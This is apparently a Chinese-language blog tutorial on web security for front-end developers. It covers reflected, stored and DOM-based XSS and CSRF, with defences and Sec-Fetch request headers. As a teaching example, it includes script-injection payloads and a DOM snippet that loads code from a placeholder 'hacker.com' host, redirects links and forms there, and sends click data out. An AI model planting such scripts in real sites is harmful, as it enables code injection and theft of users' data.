「前端食堂」想进大厂必须要知道的Web安全问题 - 掘金
网络安全之xss攻击
XSS 攻击是跨站脚本攻击，是一种代码注入攻击。攻击者通过在网站注入恶意脚本，使之在用户的浏览器上运行，从而盗取用户的信息如 cookie 等。
XSS 的本质是因为网站没有对恶意代码进行过滤，与正常的代码混合在一起了，浏览器没有办法分辨哪些脚本是可信的，从而导致了恶意代码的执行。
黑客利用xss攻击可能做的事情
1、获取页面的数据，例如，dom、cookie、localStorage
2、dos攻击。发送合理请求，占用服务器资源，使用户无法访问服务器
3、破坏页面结构
4、流量劫持，将链接指向某个网站
xss攻击可以分为反射型、存储型、DOM型
反射型
恶意 JavaScript 脚本属于用户发送给网站请求中的一部分，随后网站又将这部分返回给用户，恶意脚本在页面中被执行。一般发生在前后端一体的应用中，服务端逻辑会改变最终的网页代码。
会和后段有交互
存储型
黑客将恶意 JavaScript 脚本长期保存在服务端数据库中，用户一旦访问相关页面数据，恶意脚本就会被执行。常见于搜索、微博、社区贴吧评论等。会和后段有交互
DOM型
黑客将恶意 JavaScript 脚本注入到web应用程序中，通常是指攻击者通过操作页面的DOM对象模型来改变页面的内容或行为，从而可能实施攻击。仅仅发生在前端
xss攻击的案例
反射型攻击的案例
正常发送消息：
http://www.test.com/message.php?send=Hello,World！
接收者将会接收信息并显示Hello,Word
非正常发送消息：
http://www.test.com/message.php?send=<script>alert(‘foolish!’)</script>！
接收者接收消息显示的时候将会弹出警告窗口
试想如果不是弹出弹窗而是获取你的cookie或者任何的登录标识呢？是不是就可以拿到你的信息来做一些事情呢？
存储型攻击的案例
比如用户评论功能，输入一段<script>alert(‘xss’)</script>脚本，并提交保存到服务器，由于评论具有公开性，是不是每一个进入到该网站查看评论都可以被攻击？
DOM型攻击的案例
var script = document.createElement('script');
script.src = 'http://hacker.com/malicious-code.js';
document.head.appendChild(script);document.querySelector('a').href = 'http://hacker.com';
document.querySelector('form').action = 'http://hacker.com';document.addEventListener('click', function(event) {// 发送数据到恶意网址var xhr = new XMLHttpRequest();xhr.open('POST', 'http://hacker.com/log-clicks', true);xhr.send('x=' + event.clientX + '&y=' + event.clientY);
});比如以上代码，通过操作dom，或者监听用户的点击动作，可以添加一些有害脚本
xss三种攻击类型的区别
1、反射型的攻击存在URL中
2、存储型的攻击存在数据库中
3、DOM型的攻击主要利用web端的代码漏洞，使浏览器执行恶意代码，属于js的漏洞
xss攻击防范方法
1、输入格式校验
2、过滤<script>、<iframe>等标签
3、对要渲染的内容进行编码转义
4、限制输入长度
5、对cookie设置httphttp only
网络安全之csrf攻击
CSRF (Cross-site request forgery，跨站请求伪造)也被称为One Click Attack或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS)，但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装成受信任用户请求受信任的网站。
csrf攻击防范方法
1、尽量使用post请求
2、加入验证码
3、验证Referer
4、Anti SCRF Token
5、加入自定义的Header
一些请求头的设置
sec-fetch-site ：表示一个请求发起的来源和目标资源来源之间的关系cross-site：跨域请求same-origin：同源请求none： 不是同源也不是跨域，请求与任意上下文无关。比如浏览器窗口中拖放一个文件sec-fetch-user： 表示一个导航请求是否由用户激活触发（如用户主动点击鼠标、键盘）。Sec-Fetch-User: ?0 否
Sec-Fetch-User: ?1 是
)
)
